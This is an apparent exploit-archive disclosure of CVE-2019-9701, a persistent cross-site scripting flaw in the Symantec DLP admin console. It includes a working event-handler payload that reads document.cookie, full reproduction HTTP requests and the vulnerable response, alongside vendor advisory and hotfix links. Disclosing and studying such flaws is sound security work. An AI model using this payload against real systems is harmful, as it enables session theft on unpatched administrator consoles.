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Symantec DLP 15.5 MP1 Cross Site Scripting

Symantec DLP 15.5 MP1 Cross Site Scripting
Posted Jul 3, 2019
Authored by Chapman Schleiss

Symantec DLP versions 15.5 MP1 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9701
MD5 | 6bb86bee6ae11345bc4a891afc6ab65a

Symantec DLP 15.5 MP1 Cross Site Scripting

Change Mirror Download
# Exploit Title: Persistent XSS on Symantec DLP <= 15.5 MP1
# Date: 2019-06-21
# Exploit Author: Chapman Schleiss
# Vendor Homepage: https://www.symantec.com/
# Software Link: https://support.symantec.com/us/en/mysymantec.html
# Version: <= 15.5 MP1
# CVE : 2019-9701
# Advisory-URL: https://support.symantec.com/us/en/article.SYMSA1484.html
# Hot Fix: https://support.symantec.com/us/en/article.ALERT2664.html

Description
---------------
Persistent XSS via 'name' param at
/ProtectManager/enforce/admin/senderrecipientpatterns/list


Payload: ' oNmouseover=prompt(document.domain,document.cookie) )
Browser: Firefox 64, IE 11
Date Observed: 15 January 2019


Reproduction POST
-----------------
POST
/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/update
HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Content-Type: application/x-www-form-urlencoded
Content-Length: 558
Connection: close

name=%27+oNmouseover%3Dprompt%28document.domain%2Cdocument.cookie%29+%29&description=some_text&userPatterns=test%
40test.com&ipAddresses=192.168.1.1&urlDomains=mail.company.com
&id=41&version=30

Reproduction GET
----------------
GET /ProtectManager/enforce/admin/senderrecipientpatterns/list HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Connection: close

Reproduction Response
---------------------
<div id="messages-section">
<div class="message-pane alert-pane">
<div class="alert-message">
<div class="yui3-g message-pane-scroll">
<div class="yui3-u-1-24 message-icon">
<img src="/ProtectManager/graphics/success_icon.gif" alt="Success" width="19" height="19" />
</div>
<div class="yui3-u-11-12 wrapping-text">
<div id="web-status-message-163" class="message-content"> Recipient pattern '' oNmouseover=prompt(document.domain,document.cookie) )' was saved successfully. </div>
</div>
<div class="yui3-u-1-24">
<div class="message-pane-actions">
<a href="#" class="message-back-to-element hidden action-icon">
<img src="/ProtectManager/graphics/general/scroll_back_16.png" alt="" title="Show affected object"/>
</a>
<a href="#" class="message-pane-close action-icon">
<img src="/ProtectManager/graphics/general/cancel_blue_16.png" alt="" title="Close message bar"/>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
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